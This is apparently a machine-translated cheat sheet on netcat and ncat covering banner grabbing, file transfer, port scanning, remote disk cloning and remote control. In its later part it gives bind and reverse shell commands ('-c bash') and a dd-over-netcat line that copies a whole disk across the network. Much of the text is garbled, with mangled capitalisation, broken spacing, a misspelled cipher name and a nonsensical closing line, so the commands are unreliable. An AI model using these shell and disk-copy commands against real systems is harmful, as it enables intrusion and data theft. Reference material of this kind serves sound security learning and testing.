Citation: NAT Cat has the reputation of "Swiss Army Knife" and supports cross-platform use.
- Small stature, great wisdom
- Listening Mode/Transfer mode
- telnet/getting banner Information
- Transferring text information
- Transferring files/directories
- Encrypt transfer files
- Remote Control/Trojan
- Encrypt all traffic
- Streaming Media Server
- Remotely clone a hard disk
NC Telnet/banner:
- NC-NV 1.1.1.1 80
- NC-NV 1.1.1.1 25
- NC-NV 1.1.1.1 110
NC Transfer files/directories:
Transferring files
- A:nc-lp 333>1.mp4
- B:NC-NV IP Port <1.mp4-q 1 (1 seconds after delivery connection is complete)
- Or
- A:nc-q L-LP 333 <a.mp4
- B:NC-NV 1.1.1.1 333>2.mp4
Transfer directory
- a:tar-cvf-music/| NC-LP 333-q 1
- B:NC-NV IP Port | TAR-XVF-
Encrypted File Transfer
- A:NC-LP 333 | MCrypt--flush-fbqd-a rijndael-256-m ECB >1.mp4
- B:mcrypt--flush-fbq-a rijindael-256-m ECB <a.mp4 | NC-NV IP Port-Q 1
nc-Streaming Media Services
- A:cat 1.mp4 | NC-LP 333
- B:ip Port | MPLAYER-VO X11-cache 3000-
NC Port Scan
- Nc-nvz IP Port range (TCP protocol)
- Nc-nvzu IP Port range (UDP protocol)
NC remote clone hard disk
- A:NC LP 333 | DD of=/DEV/SDA
- B:DD IF=/DEV/SDA | NC-NV IP Port-Q 1
- Remote electronic Forensics, you can copy the target server hard disk remotely, or memory.
NC Remote Control
PS: Two-way control can be achieved after the connection is established (server side and control side).
Forward Connection:
- A:NC-LP 333-c Bash
- B:NC IP Port
Reverse Connection:
- A:NC-LP 333
- B:NC IP Port-C (generates a shell after connection is established) bash
Nc:ncat
- NC lacks encryption and verification capabilities
- Ncat included in the Nmap tool
- A:ncat ncat-c bash-allow ip-vnl Port--ssl
- B:NCAT-NV IP Port-ssl
- NC parameter functions for different systems/platforms are not necessarily all the same
A fake pig set artifact: NET CAT-NC